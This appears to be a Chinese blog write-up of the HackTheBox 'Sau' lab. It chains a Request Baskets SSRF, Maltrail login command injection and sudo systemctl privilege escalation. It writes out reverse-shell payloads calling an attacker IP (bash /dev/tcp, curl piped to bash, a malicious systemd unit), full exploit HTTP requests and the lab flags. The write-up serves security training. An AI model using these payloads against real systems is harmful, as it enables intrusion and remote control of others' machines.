freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

hackthebox Sau靶场通关记录 | request baskets漏洞 | maltrail漏洞 | systemctl提权
2023-07-19 12:42:01
所属地 江西省
  • 靶场hackthebox Sau,地址:https://app.hackthebox.com/machines/Sau
  • 此博客并非write up,只是记录以下我的打靶过程,也会有错误的操作,所以不建议不看内容,直接复制命令执行。但因为是记录过程,所以相关图文可能会更加详细,可能对你有所帮助。

一、前期探测

  • 开启靶机,靶机ip:10.10.11.224
    • image-20230716182715970
  • nmap端口发现:nmap -p- --min-rate 5000 10.10.11.224
    • 发现22,55555端口
    • image-20230716183302267
  • nmap针对扫描:nmap -p 22,55555 -sC -sV --min-rate 5000 10.10.11.224
    • 22端口ssh服务。
    • 55555端口,浏览器访问,发现是web服务。
    • image-20230716183704603
  • 浏览器访问55555端口:
    • image-20230716185725530
    • 界面显示Request Baskets,版本是1.2.1 。
      • 搜索发现Request Baskets是rbaskets开源的一个Web服务,用于收集任意 HTTP 请求并通过 RESTful API 或简单的 Web UI 检查它们。
      • image-20230716191618769
    • 同时发现漏洞https://avd.aliyun.com/detail?id=AVD-2023-27163
      • image-20230716191747345

二、reques baskets漏洞利用

  • 漏洞利用:https://notes.sjtu.edu.cn/s/MUUhEymt7#
    • request baskets服务存在api接口/api/baskets/{name}/baskets/{name},这里的name可以任意,这些接口会接收一个forward_url参数,而这个参数存在SSRF漏洞。
    • /api/baskets/{name}发送forward_url参数后,需要访问10.10.11.224:55555/{name}来触发SSRF漏洞(请求给定的forward_url)。
    • 可以实现55555端口访问其他端口内容的效果(如直接访问80端口被拦截,但是通过这个SSRF漏洞,让靶机主机访问80端口,再把内容显示在55555端口)。
  • 访问url:/api/baskets/rktest(rktest是随意取的),然后burp抓包,进行如下修改:
{
  "forward_url": "http://127.0.0.1:80/",
  "proxy_response": true,
  "insecure_tls": false,
  "expand_path": true,
  "capacity": 250
}
  • forward_url是请求的url,因为不知道80端口的网站具体有什么内容,所以是路径直接是/。
    • proxy_response设置为true,应该是控制是否将请求的url内容转发过来。
    • GET改成POST,请求体内容为:
  • 发送,返回token:iyU0YOQ2aZP9rqdWHqUusBbhxW9_1_Sh-AJQ0jyq03Dj
    • image-20230718094932963
  • 此时去访问:10.10.11.224:55555/rktest,显示了靶机80端口的网页:
    • image-20230718095444115
    • image-20230718095501940
    • 发现是Maltrail服务,还有版本号0.53,可以搜一下是什么,有什么漏洞
  • 如果proxy_response设置为false,访问10.10.11.224:55555/rktest_1请求可以成功,但是没有内容:
    • image-20230718095822554
    • 返回200,没有内容,只是执行了url请求。

三、Maltrail漏洞利用:

  • maltrail是开源的恶意流量检测系统,项目地址:https://github.com/stamparm/maltrail。
  • 搜索maltrail vulnerability(中文可能没有),可以找到漏洞描述:
    • https://huntr.dev/bounties/be3c5204-fbd9-448d-b97c-96a8d2941e87/
    • image-20230718101916071
    • image-20230718101941128
    • 在登入页面,请求体发送相应内容,可以执行系统命令,图片上执行id命令并将内容输出到/tmp/bbq。
    • 利用这个漏洞,或许可以反弹shell。
  • 因为这个漏洞需要login页面,所以再次利用request baskets的ssrf漏洞
{
    "forward_url": "http://127.0.0.1:80/login",
    "proxy_response": true,
    "insecure_tls": false,
    "expand_path": true,
    "capacity": 250
  }
  • 强烈建议复制一下数据包,保存起来,因为可能要反复使用两个数据包,修改比较麻烦。
    • 访问:http://10.10.11.224:55555/rktest_2,显示login failed,说明已经可以访问login页面了
    • image-20230718102618788
    • forward_rul参数为http://127.0.0.1:80/login
    • 对应的{name}需要修改,否则会显示重复

四、反弹shell:

  • nc监听12345端口:

    • image-20230718103054468
  • burp抓取http://10.10.11.224:55555/rktest_2,数据包,指定请求体:
    *

    username=;`bash -i >& /dev/tcp/10.10.14.15/12345 0>&1`  #ip,端口自己指定
    
    • 为了服务器识别,进行了url编码,同时请求头加上Content-Type: application/x-www-form-urlencoded
    username=%3b%60bash+-i+%3e%26+%2fdev%2ftcp%2f10.10.14.15%2f12345+0%3e%261%60
    
    * ![image-20230718110407083](https://image.3001.net/images/20230719/1689741605_64b7692537a1ca31c0fa8.png!small)
      * 建议保存上面的数据包。
    
    • username尝试了多种格式,发现都不能接收到shell,放弃直接bash
  • 尝试执行curl指令,执行sh脚本,反弹shell:

    • shell.sh:修改ip和port
    • image-20230718132425257
    • 开启http服务:python3 -m http.server 80,当前目录就是web根目录
    • image-20230718131920078
    username=;`curl 10.10.14.15/shell.sh|bash`			 #
    

username=%3b%60curl+10.10.14.15%2fshell.sh%7cbash%60 #url编码
```

* 成功反弹shell:http服务器检测到流量,nc得到shell
* ![image-20230718132849234](https://image.3001.net/images/20230719/1689741607_64b76927d5cf536035dea.png!small)
  • user flag:
    image-20230718134523914
    • puma家目录:9d27f073a1321690ac3a83a5ffc270db

五、权限提升:

  • 首先考虑信息泄露,查看maltrail配置文件,cat maltrail.conf
    • image-20230718134253199
    # User entries (username:sha256(password):UID:filter_netmask(s))
    

#filter_netmask(s) is/are used to filter results
USERS
admin:9ab3cd9d67bf49d01f6a2e33d0bd9bc804ddbe6ce1ff5d219c42624851db5dbc:0: #changeme!

local:9ab3cd9d67bf49d01f6a2e33d0bd9bc804ddbe6ce1ff5d219c42624851db5dbc:1000:192.168.0.0/16 # changeme!

```

* 获得一段sha256加密的密码,尝试破解(https://www.somd5.com/),发现就是maltrail的默认密码changeme!
* ![image-20230718135213954](https://image.3001.net/images/20230719/1689741610_64b7692a6d5b45f336954.png!small)
* 如果这样,不太可能是root或者puma用户的密码。
* 再检索了其他文件,没有什么发现。
  • id查看用户组:image-20230719085657219
  • 查看是否有什么可执行文件,find / -group puma,发现都是一些进程,或者没有权限。
  • 尝试sudo -l,发现居然不需要密码(一般都是需要密码,不知道为什么这里不需要?),发现可以不要密码的运行systemctl:
    • image-20230719090417632
    • image-20230719090611494
  • systemctl提权,反弹root权限的shell:
    • 网上搜了下sudo systemctl提权,发现方法:https://www.cnblogs.com/zlgxzswjy/p/14781471.html
    • 进入/dev/shm目录,创建文件mm.service,内容如下(ip,端口需要修改):
      *
      [Service]
      

Type=oneshot
ExecStart=/bin/bash -c "/bin/bash -i > /dev/tcp/10.10.14.15/23456 0>&1 2<&1"
[Install]
WantedBy=multi-user.target
```

* 多行写入指令:cat >>mm.service<<EOF
    * ![image-20230719092025896](https://image.3001.net/images/20230719/1689741614_64b7692e020dc5aa3f91d.png!small)
    * 查看写入是否正常:cat mm.service
    * ![image-20230719092111646](https://image.3001.net/images/20230719/1689741615_64b7692f01d618d005b7d.png!small)
* nc监听端口23456:nc -lvvp 23456
* 启动服务:
    * sudo systemctl link /dev/shm/mm.service,
    * sudo systemctl enable --now /dev/shm/mm.service\
    * 执行发现需要terminal:**sudo: a terminal is required to read the password; either use the -S option to read from standard input or configure an askpass helper**,需要交互式shell来输入密码,但是sudo -l不用密码也可以,不知道为啥。
    * ![image-20230719092956021](https://image.3001.net/images/20230719/1689741615_64b7692fe14507a66951e.png!small)
    * 使用python获取交互式shell:`python3 -c 'import pty;pty.spawn("/bin/bash")'`
    * ![image-20230719092929680](https://image.3001.net/images/20230719/1689741616_64b76930cf8250fe548c7.png!small)
    * 这时候sudo systemctl又需要密码了,说好的NOPASSWD呢????
    * ![image-20230719093304547](https://image.3001.net/images/20230719/1689741617_64b769319a1b7e2cff7a7.png!small)
* 再次看了下sudo -l,发现应该限制了服务名称trail.service
    * ![image-20230719094309368](https://image.3001.net/images/20230719/1689741618_64b769327c4f578806300.png!small)
    * 将mm.service修改了名字,再尝试发现还是不行:
    * ![image-20230719095829450](https://image.3001.net/images/20230719/1689741619_64b769335369af370ba15.png!small)
* 尝试运行以下sudo systemctl status trail.service:
    * 发现确实可以不要密码运行,难道限制了指令只能status,trail.service的具体路径也限制了吗?
    * ![image-20230719100044420](https://image.3001.net/images/20230719/1689741620_64b76934983c2fbaa586c.png!small)
    * Loaded: loaded (/etc/systemd/system/trail.service; enabled; vendor preset:>
    * 考虑修改原来的trail.service,发现权限不够:
    * ![image-20230719100507812](https://image.3001.net/images/20230719/1689741621_64b76935c5161d30ac739.png!small)
  • 再次去搜索systemctl提权的方法,原来是中文搜索,只能看到一篇提及systemctl提权的博客,这次英文搜索linux "systemctl" "escalate",发现:https://gtfobins.github.io/gtfobins/systemctl/,这里提及了一个sudo提权的方法:
    • image-20230719100928522
    • 直接sudo运行systemctl运行后,输入!sh
    • sudo systemctl status trail.service,显示一段内容后,会暂停让我们输入,直接输入!sh
    • image-20230719101141515
    • 提权成功!
    • flag在/root目录:2c4fa5feb2d7bd0f4d5ca9c23834bddb
    • image-20230719101412968

六、总结:

  • request baskets漏洞,CVE-2023-27163,SSRF漏洞,访问外网无法访问的80端口网站。
  • maltrail漏洞,远程命令执行,反弹shell。
  • systemctl sudo提权,可以无密码sudo systemctl status 某个服务,运行后,输入!sh提权。

七、参考:

  • sau write up:https://techyrick.com/sau-htb-writeup/
  • request baskets漏洞描述:https://avd.aliyun.com/detail?id=AVD-2023-27163
  • request baskets漏洞利用:https://notes.sjtu.edu.cn/s/MUUhEymt7#
  • maltrail漏洞利用:https://huntr.dev/bounties/be3c5204-fbd9-448d-b97c-96a8d2941e87/
  • systemctl提权:https://www.cnblogs.com/zlgxzswjy/p/14781471.html
  • systemctl提权:https://gtfobins.github.io/gtfobins/systemctl/
  • SSRF连接login页面数据报:
POST /api/baskets/rktest HTTP/1.1
Host: 10.10.11.224:55555
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 52
Content-Type: application/x-www-form-urlencoded

{
  "forward_url": "http://127.0.0.1:80/login",
  "proxy_response": true,
  "insecure_tls": false,
  "expand_path": true,
  "capacity": 250
}
  • RCE使用curl反弹shell数据报:
POST /rktest HTTP/1.1
Host: 10.10.11.224:55555
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 52
Content-Type: application/x-www-form-urlencoded

username=%3b%60curl+10.10.14.15%2fshell.sh%7cbash%60
# 漏洞 # web安全 # linux提权 # HackTheBox
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者